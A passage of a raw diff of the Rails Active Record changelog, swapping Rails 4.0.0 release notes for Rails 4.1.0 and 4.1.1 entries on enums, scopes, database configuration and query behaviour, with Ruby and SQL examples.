-## Rails 4.0.0 (June 25, 2013) ##
+    Fixes #14217.
 
-*   Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432
+    *Yves Senn*
 
-*   Do not overwrite manually built records during one-to-one nested attribute assignment
+*   Add support for `Relation` be passed as parameter on `QueryCache#select_all`.
 
-    For one-to-one nested associations, if you build the new (in-memory)
-    child object yourself before assignment, then the NestedAttributes
-    module will not overwrite it, e.g.:
+    Fixes #14361.
 
-        class Member < ActiveRecord::Base
-          has_one :avatar
-          accepts_nested_attributes_for :avatar
+    *arthurnn*
 
-          def avatar
-            super || build_avatar(width: 200)
-          end
-        end
+*   Only save `has_one` associations if record has changes. Previously after save
+    related callbacks, such as `#after_commit`, were triggered when the
+    `has_one` object did not get saved to the db.
 
-        member = Member.new
-        member.avatar_attributes = {icon: 'sad'}
-        member.avatar.width # => 200
+    *Alan Kennedy*
 
-    *Olek Janiszewski*
 
-*   fixes bug introduced by #3329.  Now, when autosaving associations,
-    deletions happen before inserts and saves.  This prevents a 'duplicate
-    unique value' database error that would occur if a record being created had
-    the same value on a unique indexed field as that of a record being destroyed.
+## Rails 4.1.1 (May 6, 2014) ##
 
-    *Adam Anderson*
+*   No changes.
 
-*   Fix pending migrations error when loading schema and `ActiveRecord::Base.table_name_prefix`
-    is not blank.
 
-    Call `assume_migrated_upto_version` on connection to prevent it from first
-    being picked up in `method_missing`.
+## Rails 4.1.0 (April 8, 2014) ##
 
-    In the base class, `Migration`, `method_missing` expects the argument to be a
-    table name, and calls `proper_table_name` on the arguments before sending to
-    `connection`. If `table_name_prefix` or `table_name_suffix` is used, the schema
-    version changes to `prefix_version_suffix`, breaking `rake test:prepare`.
+*   Fixed a problem where an enum would overwrite values of another enum
+    with the same name in an unrelated class.
 
-    Fixes #10411.
+    Fixes #14607.
 
-    *Kyle Stevens*
+    *Evan Whalen*
 
-*   Mute `psql` output when running rake db:schema:load.
 
-    *Godfrey Chan*
+*   Block a few default Class methods as scope name.
 
-*   Trigger a save on `has_one association=(associate)` when the associate contents have changed.
+    For instance, this will raise:
 
-    Fix #8856.
+        scope :public, -> { where(status: 1) }
 
-    *Chris Thompson*
+    *arthurnn*
 
-*   Allow to use databases.rake tasks without having `Rails.application`.
+*   Deprecate SQLite database URLs containing an
+    authority.
 
-    *Piotr Sarnacki*
+    The current "correct" spellings for in-memory, relative, and
+    absolute URLs, respectively, are:
 
-*   Fix a `SystemStackError` problem when using time zone aware or serialized attributes.
-    In current implementation, we reuse `column_types` argument when initiating an instance.
-    If an instance has serialized or time zone aware attributes, `column_types` is
-    wrapped multiple times in `decorate_columns` method. Thus the above error occurs.
+        sqlite3::memory:
+        sqlite3:relative/path
+        sqlite3:/full/path
 
-    *Dan Erikson & kennyj*
+    The previous spelling (`sqlite3:///relative/path`) continues to work
+    as it did in Rails 4.0, but with a deprecation warning: in the next
+    release, that spelling will instead be interpreted as an absolute
+    path.
 
-*   Fix for a regression bug in which counter cache columns were not being updated
-    when record was pushed into a has_many association. For example:
+    *Matthew Draper*
 
-        Post.first.comments << Comment.create
+*   `where.not` adds `references` for `includes` like normal `where` calls do.
 
-    Fixes #3891.
+    Fixes #14406.
 
-    *Matthew Robertson*
+    *Yves Senn*
 
-*   If a model was instantiated from the database using `select`, `respond_to?`
-    returns false for non-selected attributes. For example:
+*   `includes` is able to detect the right preloading strategy when string
+    joins are involved.
 
-        post = Post.select(:title).first
-        post.respond_to?(:body) # => false
+    Fixes #14109.
 
-        post = Post.select('title as post_title').first
-        post.respond_to?(:title) # => false
+    *Aaron Patterson*, *Yves Senn*
 
-    Fixes #4208.
+*   Fixed error with validation with enum fields for records where the
+    value for any enum attribute is always evaluated as 0 during
+    uniqueness validation.
 
-    *Neeraj Singh*
+    Fixes #14172.
 
-*   Run `rake migrate:down` & `rake migrate:up` in transaction if database supports.
+    *Vilius Luneckas* *Ahmed AbouElhamayed*
 
-    *Alexander Bondarev*
+*   `before_add` callbacks are fired before the record is saved on
+    `has_and_belongs_to_many` assocations *and* on `has_many :through`
+    associations.  Before this change, `before_add` callbacks would be fired
+    before the record was saved on `has_and_belongs_to_many` associations, but
+    *not* on `has_many :through` associations.
 
-*   `0x` prefix must be added when assigning hexadecimal string into `bit` column in PostgreSQL.
+    Fixes #14144.
 
-    *kennyj*
+*   Fixed STI classes not defining an attribute method if there is a
+    conflicting private method defined on its ancestors.
 
-*   Added Statement Cache to allow the caching of a single statement. The cache works by
-    duping the relation returned from yielding a statement, which allows skipping the AST
-    building phase for following executes. The cache returns results in array format.
+    Fixes #11569.
 
-    Example:
+    *Godfrey Chan*
+
+*   Default scopes are no longer overriden by chained conditions.
+
+    Before this change when you defined a `default_scope` in a model
+    it was overriden by chained conditions in the same field. Now it
+    is merged like any other scope.
 
-        cache = ActiveRecord::StatementCache.new do
-          Book.where(name: "my book").limit(100)
+    Before:
+
+        class User < ActiveRecord::Base
+          default_scope { where state: 'pending' }
+          scope :active, -> { where state: 'active' }
+          scope :inactive, -> { where state: 'inactive' }
         end
 
-        books = cache.execute
+        User.all
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
 
-    The solution attempts to get closer to the speed of `find_by_sql` but still maintaining
-    the expressiveness of the Active Record queries.
+        User.active
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
 
-    *Olli Rissanen*
+        User.where(state: 'inactive')
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
 
-*   Preserve context while merging relations with join information.
+    After:
 
-        class Comment < ActiveRecord::Base
-          belongs_to :post
+        class User < ActiveRecord::Base
+          default_scope { where state: 'pending' }
+          scope :active, -> { where state: 'active' }
+          scope :inactive, -> { where state: 'inactive' }
         end
 
-        class Author < ActiveRecord::Base
-          has_many :posts
-        end
+        User.all
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
 
-        class Post < ActiveRecord::Base
-          belongs_to :author
-          has_many :comments
-        end
+        User.active
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
 
-    `Comment.joins(:post).merge(Post.joins(:author).merge(Author.where(:name => "Joe Blogs"))).all`
-    would fail with
-    `ActiveRecord::ConfigurationError: Association named 'author' was not found on Comment`.
+        User.where(state: 'inactive')
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
 
-    It is failing because `all` is being called on relation which looks like this after all
-    the merging: `{:joins=>[:post, :author], :where=>[#<Arel::Nodes::Equality: ....}`. In this
-    relation all the context that `Post` was joined with `Author` is lost and hence the error
-    that `author` was not found on `Comment`.
+    To get the previous behavior it is needed to explicitly remove the
+    `default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+    `except`.
 
-    The solution is to build `JoinAssociation` when two relations with join information are being
-    merged. And later while building the Arel use the previously built `JoinAssociation` record
-    in `JoinDependency#graft` to build the right from clause.
-    Fixes #3002.
+    Example:
 
-    *Jared Armstrong and Neeraj Singh*
+        class User < ActiveRecord::Base
+          default_scope { where state: 'pending' }
+          scope :active, -> { unscope(where: :state).where(state: 'active') }
+          scope :inactive, -> { rewhere state: 'inactive' }
+        end
 
-*   `default_scopes?` is deprecated. Check for `default_scopes.empty?` instead.
+        User.all
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
 
-    *Agis Anastasopoulos*
+        User.active
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
 
-*   Default values for PostgreSQL bigint types now get parsed and dumped to the
-    schema correctly.
+        User.inactive
+        # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
 
-    *Erik Peterson*
+*   Perform necessary deeper encoding when hstore is inside an array.
 
-*   Fix associations with `:inverse_of` option when building association
-    with a block. Inside the block the parent object was different then
-    after the block.
+    Fixes #11135.
 
-    Example:
+    *Josh Goodall*, *Genadi Samokovarov*
 
-        parent.association.build do |child|
-          child.parent.equal?(parent) # false
-        end
+*   Properly detect if a connection is still active before using it
+    in multi-threaded environments.
 
-        # vs
+    Fixes #12867.
 
-        child = parent.association.build
-        child.parent.equal?(parent) # true
+    *Kevin Casey*, *Matthew Draper*, *William (B.J.) Snow Orvis*
 
-    *Michal Cichra*
+*   When inverting add_index use the index name if present instead of
+    the columns.
 
-*   `has_many` using `:through` now obeys the order clause mentioned in
-    through association.
-    Fixes #10016.
+    If there are two indices with matching columns and one of them is
+    explicitly named then reverting the migration adding the named one
+    would instead drop the unnamed one.
 
-    *Neeraj Singh*
+    The inversion of add_index will now drop the index by its name if
+    it is present.
 
-*   `belongs_to :touch` behavior now touches old association when
-    transitioning to new association.
+    *Hubert Dąbrowski*
 
-        class Passenger < ActiveRecord::Base
-          belongs_to :car, touch: true
-        end
+*   Add flag to disable schema dump after migration.
 
-        car_1 = Car.create
-        car_2 = Car.create
+    Add a config parameter on Active Record named `dump_schema_after_migration`
+    which is true by default. Now schema dump does not happen at the
+    end of migration rake task if `dump_schema_after_migration` is false.
 
-        passenger = Passenger.create car: car_1
+    *Emil Soman*
 
-        passenger.car = car_2
-        passenger.save
+*   `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+    return an `Enumerator` that can calculate its size.
 
-    Previously only car_2 would be touched. Now both car_1 and car_2
-    will be touched.
+    See also #13938.
 
-    *Adam Gamble*
+    *Marc-André Lafortune*
 
-*   Extract and deprecate Firebird / Sqlserver / Oracle database tasks, because
-    These tasks should be supported by 3rd-party adapter.
+*   Make sure transaction state gets reset after a commit operation on the record.
 
-    *kennyj*
+    If a new transaction was open inside a callback, the record was loosing track
+    of the transaction level state, and it was leaking that state.
 
-*   Allow `ActiveRecord::Base.connection_handler` to have thread affinity and be
-    settable, this effectively allows Active Record to be used in a multithreaded
-    setup with multiple connections to multiple databases.
+    Fixes #12566.
 
-    *Sam Saffron*
+    *arthurnn*
 
-*   `rename_column` preserves `auto_increment` in MySQL migrations.
-    Fixes #3493.
+*   Pass `has_and_belongs_to_many` `:autosave` option to
+    the underlying `has_many :through` association.
 
-    *Vipul A M*
+    Fixes #13923.
 
-*   PostgreSQL geometric type point is now supported by Active Record. Fixes #7324.
+    *Yves Senn*
 
-    *Martin Schuerrer*
+*   PostgreSQL implementation of `SchemaStatements#index_name_exists?`.
 
-*   Add support for concurrent indexing in PostgreSQL adapter via the
-    `algorithm: :concurrently` option.
+    The database agnostic implementation does not detect with indexes that are
+    not supported by the ActiveRecord schema dumper. For example, expressions
+    indexes would not be detected.
 
-        add_index(:people, :last_name, algorithm: :concurrently)
+    Fixes #11018.
 
-    Also add support for MySQL index algorithms (`COPY`, `INPLACE`,
-    `DEFAULT`) via the `:algorithm` option.
+    *Jonathan Baudanza*
 
-        add_index(:people, :last_name, algorithm: :copy) # or :inplace/:default
+*   Parsing PostgreSQL arrays with empty strings now works correctly.
 
-    *Dan McClain*
+    Previously, if you tried to parse `{"1","","2","","3"}` the result
+    would be `["1","2","3"]`, removing the empty strings from the array,
+    which would be incorrect. Now it will correctly produce `["1","","2","","3"]`
+    as the result of parsing the above PostgreSQL array.
 
-*   Add support for fulltext and spatial indexes on MySQL tables with MyISAM database
-    engine via the `type: 'FULLTEXT'` / `type: 'SPATIAL'` option.
+    Fixes #13907.
 
-        add_index(:people, :last_name, type: 'FULLTEXT')
-        add_index(:people, :last_name, type: 'SPATIAL')
+    *Maurício Linhares*
 
-    *Ken Mazaika*
+*   Associations now raise `ArgumentError` on name conflicts.
 
-*   Add an `add_index` override in PostgreSQL adapter and MySQL adapter
-    to allow custom index type support.
-    Fixes #6101.
+    Dangerous association names conflicts include instance or class methods already
+    defined by `ActiveRecord::Base`.
 
-        add_index(:wikis, :body, :using => 'gin')
+    Example:
 
-    *Stefan Huber* and *Doabit*
+        class Car < ActiveRecord::Base
+          has_many :errors
+        end
+        # Will raise ArgumentError.
 
-*   After extraction of mass-assignment attributes (which protects [id, type]
-    by default) we can pass id to `update_attributes` and it will update
-    another record because id will be used in where statement. We never have
-    to change id in where statement because we try to set/replace fields for
-    already loaded record but we have to try to set new id for that record.
+    Fixes #13217.
 
-    *Dmitry Vorotilin*
+    *Lauro Caetano*
 
-*   Models with multiple counter cache associations now update correctly on destroy.
-    See #7706.
+*   Fix regressions on `select_*` methods.
+    When `select_*` methods receive a `Relation` object, they should be able to
+    get the arel/binds from it.
+    Also fix regressions on `select_rows` that was ignoring the binds.
 
-    *Ian Young*
+    Fixes #7538, #12017, #13731, #12056.
 
-*   If `:inverse_of` is true on an association, then when one calls `find()` on
-    the association, Active Record will first look through the in-memory objects
-    in the association for a particular id. Then, it will go to the DB if it
-    is not found. This is accomplished by calling `find_by_scan` in
-    collection associations whenever `options[:inverse_of]` is not nil.
-    Fixes #9470.
+    *arthurnn*
 
-    *John Wang*
+*   Active Record objects can now be correctly dumped, loaded and dumped again
+    without issues.
 
-*   `rake db:create` does not change permissions of the MySQL root user.
-    Fixes #8079.
+    Previously, if you did `YAML.dump`, `YAML.load` and then `YAML.dump` again
+    in an Active Record model that used serialization it would fail at the last
+    dump due to the fields not being correctly serialized before being dumped
+    to YAML. Now it is possible to dump and load the same object as many times
+    as needed without any issues.
 
-    *Yves Senn*
+    Fixes #13861.
 
-*   The length of the `version` column in the `schema_migrations` table
-    created by the `mysql2` adapter is 191 if the encoding is "utf8mb4".
+    *Maurício Linhares*
 
-    The "utf8" encoding in MySQL has support for a maximum of 3 bytes per character,
-    and only contains characters from the BMP. The recently added
-    [utf8mb4](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html)
-    encoding extends the support to four bytes. As of this writing, said encoding
-    is supported in the betas of the `mysql2` gem.
+*   `find_in_batches` now returns an `Enumerator` when called without a block, so that it
+    can be chained with other `Enumerable` methods.
 
-    Setting the encoding to "utf8mb4" has
-    [a few implications](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-upgrading.html).
-    This change addresses the max length for indexes, which is 191 instead of 255.
+    *Marc-André Lafortune*
 
-    *Xavier Noria*
+*   `enum` now raises on "dangerous" name conflicts.
 
-*   Counter caches on associations will now stay valid when attributes are
-    updated (not just when records are created or destroyed), for example,
-    when calling `update_attributes`. The following code now works:
+    Dangerous name conflicts includes instance or class method conflicts
+    with methods defined within `ActiveRecord::Base` but not its ancestors,
+    as well as conflicts with methods generated by other enums on the same
+    class.
 
-        class Comment < ActiveRecord::Base
-          belongs_to :post, counter_cache: true
-        end
+    Fixes #13389.
 
-        class Post < ActiveRecord::Base
-          has_many :comments
-        end
+    *Godfrey Chan*
 
-        post = Post.create
-        comment = Comment.create
+*   `scope` now raises on "dangerous" name conflicts.
 
-        post.comments << comment
-        post.save.reload.comments_count # => 1
-        comment.update_attributes(post_id: nil)
+    Similar to dangerous attribute methods, a scope name conflict is
+    dangerous if it conflicts with an existing class method defined within
+    `ActiveRecord::Base` but not its ancestors.
 
-        post.save.reload.comments_count # => 0
+    See also #13389.
 
-    Updating the id of a `belongs_to` object with the id of a new object will
-    also keep the count accurate.
+    *Godfrey Chan*, *Philippe Creux*
 
-    *John Wang*
+*   Correctly send an user provided statement to a `lock!()` call.
 
-*   Referencing join tables implicitly was deprecated. There is a
-    possibility that these deprecation warnings are shown even if you
-    don't make use of that feature. You can now disable the feature entirely.
-    Fixes #9712.
+        person.lock! 'FOR SHARE NOWAIT'
+        # Before: SELECT * ... LIMIT 1 FOR UPDATE
+        # After: SELECT * ... LIMIT 1 FOR SHARE NOWAIT
 
-    Example:
+    Fixes #13788.
 
-        # in your configuration
-        config.active_record.disable_implicit_join_references = true
+    *Maurício Linhares*
 
-        # or directly
-        ActiveRecord::Base.disable_implicit_join_references = true
+*   Handle aliased attributes `select()`, `order()` and `reorder()`.
 
-    *Yves Senn*
+    *Tsutomu Kuroda*
 
-*   The `:distinct` option for `Relation#count` is deprecated. You
-    should use `Relation#distinct` instead.
+*   Reset the collection association when calling `reset` on it.
 
-    Example:
+    Before:
 
-        # Before
-        Post.select(:author_name).count(distinct: true)
+        post.comments.loaded? # => true
+        post.comments.reset
+        post.comments.loaded? # => true
 
-        # After
-        Post.select(:author_name).distinct.count
+    After:
 
-    *Yves Senn*
+        post.comments.loaded? # => true
+        post.comments.reset
+        post.comments.loaded? # => false
 
-*   Rename `Relation#uniq` to `Relation#distinct`. `#uniq` is still
-    available as an alias but we encourage to use `#distinct` instead.
-    Also `Relation#uniq_value` is aliased to `Relation#distinct_value`,
-    this is a temporary solution and you should migrate to `distinct_value`.
+    Fixes #13777.
 
-    *Yves Senn*
+    *Kelsey Schlarman*
 
-*   Fix quoting for sqlite migrations using `copy_table_contents` with binary
-    columns.
+*   Make enum fields work as expected with the `ActiveModel::Dirty` API.
 
-    These would fail with "SQLite3::SQLException: unrecognized token" because
-    the column was not being passed to `quote` so the data was not quoted
-    correctly.
+    Before this change, using the dirty API would have surprising results:
 
-    *Matthew M. Boedicker*
+        conversation = Conversation.new
+        conversation.status = :active
+        conversation.status = :archived
+        conversation.status_was # => 0
 
-*   Promotes `change_column_null` to the migrations API. This macro sets/removes
-    `NOT NULL` constraints, and accepts an optional argument to replace existing
-    `NULL`s if needed. The adapters for SQLite, MySQL, PostgreSQL, and (at least)
-    Oracle, already implement this method.
+    After this change, the same code would result in:
 
-    *Xavier Noria*
+        conversation = Conversation.new
+        conversation.status = :active
+        conversation.status = :archived
+        conversation.status_was # => "active"
+
+    *Rafael Mendonça França*
 
-*   Uniqueness validation allows you to pass `:conditions` to limit
-    the constraint lookup.
+*   `has_one` and `belongs_to` accessors don't add ORDER BY to the queries
+    anymore.
 
-    Example:
+    Since Rails 4.0, we add an ORDER BY in the `first` method to ensure
+    consistent results among different database engines. But for singular
+    associations this behavior is not needed since we will have one record to
+    return. As this ORDER BY option can lead some performance issues we are
+    removing it for singular associations accessors.
 
-        validates_uniqueness_of :title, conditions: -> { where('approved = ?', true) }
+    Fixes #12623.
 
-    *Mattias Pfeiffer + Yves Senn*
+    *Rafael Mendonça França*
 
-*   `connection` is deprecated as an instance method.
-    This allows end-users to have a `connection` method on their models
-    without clashing with Active Record internals.
+*   Prepend table name for column names passed to `Relation#select`.
 
-    *Ben Moss*
+    Example:
 
-*   When copying migrations, preserve their magic comments and content encoding.
+        Post.select(:id)
+        # Before: => SELECT id FROM "posts"
+        # After: => SELECT "posts"."id" FROM "posts"
 
-    *OZAWA Sakuro*
+    *Yves Senn*
 
-*   Fix `subclass_from_attrs` when `eager_load` is false. It cannot find
-    subclass because all classes are loaded automatically when it needs.
+*   Fail early with "Primary key not included in the custom select clause"
+    in `find_in_batches`.
 
-    *Dmitry Vorotilin*
+    Before this patch, the exception was raised after the first batch was
+    yielded to the block. This means that you only get it, when you hit the
+    `batch_size` treshold. This could shadow the issue in development.
 
-*   When `:name` option is provided to `remove_index`, use it if there is no
-    index by the conventional name.
+    *Alexander Balashov*
 
-    For example, previously if an index was removed like so
-    `remove_index :values, column: :value, name: 'a_different_name'`
-    the generated SQL would not contain the specified index name,
-    and hence the migration would fail.
-    Fixes #8858.
+*   Ensure `second` through `fifth` methods act like the `first` finder.
 
-    *Ezekiel Smithburg*
+    The famous ordinal Array instance methods defined in ActiveSupport
+    (`first`, `second`, `third`, `fourth`, and `fifth`) are now available as
+    full-fledged finders in ActiveRecord. The biggest benefit of this is ordering
+    of the records returned now defaults to the table's primary key in ascending order.
 
-*   Created block to by-pass the prepared statement bindings.
-    This will allow to compose fragments of large SQL statements to
-    avoid multiple round-trips between Ruby and the DB.
+    Fixes #13743.
 
     Example:
 
-        sql = Post.connection.unprepared_statement do
-          Post.first.comments.to_sql
-        end
+        User.all.second
 
-    *Cédric Fabianski*
+        # Before
+        # => 'SELECT  "users".* FROM "users"'
 
-*   Change the semantics of combining scopes to be the same as combining
-    class methods which return scopes. For example:
+        # After
+        # => SELECT  "users".* FROM "users"   ORDER BY "users"."id" ASC LIMIT 1 OFFSET 1'
 
-        class User < ActiveRecord::Base
-          scope :active,   -> { where state: 'active' }
-          scope :inactive, -> { where state: 'inactive' }
-        end
+        User.offset(3).second
 
-        class Post < ActiveRecord::Base
-          def self.active
-            where state: 'active'
-          end
+        # Before
+        # => 'SELECT "users".* FROM "users"  LIMIT -1 OFFSET 3' # sqlite3 gem
+        # => 'SELECT "users".* FROM "users"  OFFSET 3' # pg gem
+        # => 'SELECT `users`.* FROM `users`  LIMIT 18446744073709551615 OFFSET 3' # mysql2 gem
 
-          def self.inactive
-            where state: 'inactive'
-          end
-        end
+        # After
+        # => SELECT  "users".* FROM "users"   ORDER BY "users"."id" ASC LIMIT 1 OFFSET 4'
 
-        ### BEFORE ###
+    *Jason Meller*
 
-        User.where(state: 'active').where(state: 'inactive')
-        # => SELECT * FROM users WHERE state = 'active' AND state = 'inactive'
+*   ActiveRecord states are now correctly restored after a rollback for
+    models that did not define any transactional callbacks (i.e.
+    `after_commit`, `after_rollback` or `after_create`).
 
-        User.active.inactive
-        # => SELECT * FROM users WHERE state = 'inactive'
+    Fixes #13744.
 
-        Post.active.inactive
-        # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+    *Godfrey Chan*
 
-        ### AFTER ###
+*   Make `touch` fire the `after_commit` and `after_rollback` callbacks.
 
-        User.active.inactive
-        # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+    *Harry Brundage*
 
-    Before this change, invoking a scope would merge it into the current
-    scope and return the result. `Relation#merge` applies "last where
-    wins" logic to de-duplicate the conditions, but this lead to
-    confusing and inconsistent behaviour. This fixes that.
+*   Enable partial indexes for `sqlite >= 3.8.0`.
 
-    If you really do want the "last where wins" logic, you can opt-in to
-    it like so:
+    See http://www.sqlite.org/partialindex.html
 
-        User.active.merge(User.inactive)
+    *Cody Cutrer*
 
-    Fixes #7365.
+*   Don't try to get the subclass if the inheritance column doesn't exist
 
-    *Neeraj Singh* and *Jon Leighton*
+    The `subclass_from_attrs` method is called even if the column specified by
+    the `inheritance_column` setting doesn't exist. This prevents setting associations
+    via the attributes hash if the association name clashes with the value of the setting,
+    typically `:type`. This worked previously in Rails 3.2.
 
-*   Expand `#cache_key` to consult all relevant updated timestamps.
+    *Ujjwal Thaakar*
 
-    Previously only `updated_at` column was checked, now it will
-    consult other columns that received updated timestamps on save,
-    such as `updated_on`.  When multiple columns are present it will
-    use the most recent timestamp.
-    Fixes #9033.
+*   Enum mappings are now exposed via class methods instead of constants.
 
-    *Brendon Murphy*
+    Example:
 
-*   Throw `NotImplementedError` when trying to instantiate `ActiveRecord::Base` or an abstract class.
+        class Conversation < ActiveRecord::Base
+          enum status: [ :active, :archived ]
+        end
 
-    *Aaron Weiner*
+    Before:
 
-*   Warn when `rake db:structure:dump` with a MySQL database and
-    `mysqldump` is not in the PATH or fails.
-    Fixes #9518.
+        Conversation::STATUS # => { "active" => 0, "archived" => 1 }
 
-    *Yves Senn*
+    After:
 
-*   Remove `connection#structure_dump`, which is no longer used. *Yves Senn*
+        Conversation.statuses # => { "active" => 0, "archived" => 1 }
 
-*   Make it possible to execute migrations without a transaction even
-    if the database adapter supports DDL transactions.
-    Fixes #9483.
+    *Godfrey Chan*
 
-    Example:
+*   Set `NameError#name` when STI-class-lookup fails.
 
-        class ChangeEnum < ActiveRecord::Migration
-          disable_ddl_transaction!
+    *Chulki Lee*
 
-          def up
-            execute "ALTER TYPE model_size ADD VALUE 'new_value'"
-          end
-        end
+*   Fix bug in `becomes!` when changing from the base model to a STI sub-class.
 
-    *Yves Senn*
+    Fixes #13272.
 
-*   Assigning "0.0" to a nullable numeric column does not make it dirty.
-    Fixes #9034.
+    *the-web-dev*, *Yves Senn*
 
-    Example:
+*   Currently Active Record can be configured via the environment variable
+    `DATABASE_URL` or by manually injecting a hash of values which is what Rails does,
+    reading in `database.yml` and setting Active Record appropriately. Active Record
+    expects to be able to use `DATABASE_URL` without the use of Rails, and we cannot
+    rip out this functionality without deprecating. This presents a problem though
+    when both config is set, and a `DATABASE_URL` is present. Currently the
+    `DATABASE_URL` should "win" and none of the values in `database.yml` are
+    used. This is somewhat unexpected, if one were to set values such as
+    `pool` in the `production:` group of `database.yml` they are ignored.
 
-        product = Product.create price: 0.0
-        product.price = '0.0'
-        product.changed? # => false (this used to return true)
-        product.changes # => {} (this used to return { price: [0.0, 0.0] })
+    There are many ways that Active Record initiates a connection today:
 
-    *Yves Senn*
+    - Stand Alone (without rails)
+      - `rake db:<tasks>`
+      - `ActiveRecord.establish_connection`
 
-*   Added functionality to unscope relations in a relations chain. For
-    instance, if you are passed in a chain of relations as follows:
+    - With Rails
+      - `rake db:<tasks>`
+      - `rails <server> | <console>`
+      - `rails dbconsole`
 
-        User.where(name: "John").order('id DESC')
+    Now all of these behave exactly the same way. The best way to do
+    this is to put all of this logic in one place so it is guaranteed to be used.
 
-    but you want to get rid of order, then this feature allows you to do:
+    Here is the matrix of how this behavior works:
 
-        User.where(name: "John").order('id DESC').unscope(:order)
-            == User.where(name: "John")
+    ```
+    No database.yml
+    No DATABASE_URL
+    => Error
+    ```
 
-    The .unscope() function is more general than the .except() method because
-    .except() only works on the relation it is acting on. However, .unscope()
-    works for any relation in the entire relation chain.
+    ```
+    database.yml present
+    No DATABASE_URL
+    => Use database.yml configuration
+    ```
 
-    *John Wang*
+    ```
+    No database.yml
+    DATABASE_URL present
+    => use DATABASE_URL configuration
+    ```
 
-*   PostgreSQL timestamp with time zone (timestamptz) datatype now returns a
-    ActiveSupport::TimeWithZone instance instead of a string
+    ```
+    database.yml present
+    DATABASE_URL present
+    => Merged into `url` sub key. If both specify `url` sub key, the `database.yml` `url`
+       sub key "wins". If other paramaters `adapter` or `database` are specified in YAML,
+       they are discarded as the `url` sub key "wins".
+    ```
 
-    *Troy Kruthoff*
+    Current implementation uses `ActiveRecord::Base.configurations` to resolve and merge
+    all connection information before returning. This is achieved through a utility
+    class: `ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig`.
 
-*   The `#append` method for collection associations behaves like`<<`.
-    `#prepend` is not defined and `<<` or `#append` should be used.
-    Fixes #7364.
+    To understand the exact behavior of this class, it is best to review the
+    behavior in `activerecord/test/cases/connection_adapters/connection_handler_test.rb`.
 
-    *Yves Senn*
+    *Richard Schneeman*
 
-*   Added support for creating a table via Rails migration generator.
-    For example,
+*   Make `change_column_null` revertable. Fixes #13576.
 
-        rails g migration create_books title:string content:text
+    *Yves Senn*, *Nishant Modak*, *Prathamesh Sonpatki*
 
-    will generate a migration that creates a table called books with
-    the listed attributes, without creating a model.
+*   Don't create/drop the test database if RAILS_ENV is specified explicitly.
 
-    *Sammy Larbi*
+    Previously, when the environment was development, we would always
+    create or drop both the test and development databases.
 
-*   Fix bug that raises the wrong exception when the exception handled by PostgreSQL adapter
-    doesn't respond to `#result`.
-    Fixes #8617.
+    Now, if RAILS_ENV is explicitly defined as development, we don't create
+    the test database.
 
-    *kennyj*
+    *Damien Mathieu*
 
-*   Support PostgreSQL specific column types when using `change_table`.
-    Fixes #9480.
+*   Initialize version on Migration objects so that it can be used in a migration,
+    and it will be included in the announce message.
 
-    Example:
+    *Dylan Thacker-Smith*
 
-        change_table :authors do |t|
-          t.hstore :books
-          t.json :metadata
-        end
+*   `change_table` now uses the current adapter's `update_table_definition`
+    method to retrieve a specific table definition.
+    This ensures that `change_table` and `create_table` will use
+    similar objects.
 
-    *Yves Senn*
+    Fixes #13577, #13503.
 
-*   Revert 408227d9c5ed7d, 'quote numeric'. This introduced some regressions.
+    *Nishant Modak*, *Prathamesh Sonpatki*, *Rafael Mendonça França*
 
-    *Steve Klabnik*
+*   Fixed ActiveRecord::Store nil conversion TypeError when using YAML coder.
+    In case the YAML passed as paramter is nil, uses an empty string.
 
-*   Fix calculation of `db_runtime` property in
-   `ActiveRecord::Railties::ControllerRuntime#cleanup_view_runtime`.
-    Previously, after raising `ActionView::MissingTemplate`, `db_runtime` was
-    not populated.
-    Fixes #9215.
+    Fixes #13570.
 
-    *Igor Fedoronchuk*
+    *Thales Oliveira*
 
-*   Do not try to touch invalid (and thus not persisted) parent record
-    for a `belongs_to :parent, touch: true` association
+*   Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+    and `ActiveRecord::Base.symbolized_sti_name` without replacement.
 
-    *Olek Janiszewski*
+    *Yves Senn*
 
-*   Fix when performing an ordered join query. The bug only
-    affected queries where the order was given with a symbol.
-    Fixes #9275.
+*   Since the `test_help.rb` file in Railties now automatically maintains
+    your test schema, the `rake db:test:*` tasks are deprecated. This
+    doesn't stop you manually running other tasks on your test database
+    if needed:
 
-    Example:
+        rake db:schema:load RAILS_ENV=test
 
-        # This will expand the order :name to "authors".name.
-        Author.joins(:books).where('books.published = 1').order(:name)
+    *Jon Leighton*
 
-*   Fix overriding of attributes by `default_scope` on `ActiveRecord::Base#dup`.
+*   Fix presence validator for association when the associated record responds to `to_a`.
 
-    *Hiroshige UMINO*
+    *gmarik*
 
-*   Update queries now use prepared statements.
+*   Fixed regression on preload/includes with multiple arguments failing in certain conditions,
+    raising a NoMethodError internally by calling `reflect_on_association` for `NilClass:Class`.
 
-    *Olli Rissanen*
+    Fixes #13437.
 
-*   Fixing issue #8345. Now throwing an error when one attempts to touch a
-    new object that has not yet been persisted. For instance:
+    *Vipul A M*, *khustochka*
 
-    Example:
+*   Add the ability to nullify the `enum` column.
 
-        ball = Ball.new
-        ball.touch :updated_at   # => raises error
+     Example:
 
-    It is not until the ball object has been persisted that it can be touched.
-    This follows the behavior of update_column.
+         class Conversation < ActiveRecord::Base
+           enum gender: [:female, :male]
+         end
 
-    *John Wang*
+         Conversation::GENDER # => { female: 0, male: 1 }
 
-*   Preloading ordered `has_many :through` associations no longer applies
-    invalid ordering to the `:through` association.
-    Fixes #8663.
+         # conversation.update! gender: 0
+         conversation.female!
+         conversation.female? # => true
+         conversation.gender  # => "female"
 
-    *Yves Senn*
+         # conversation.update! gender: nil
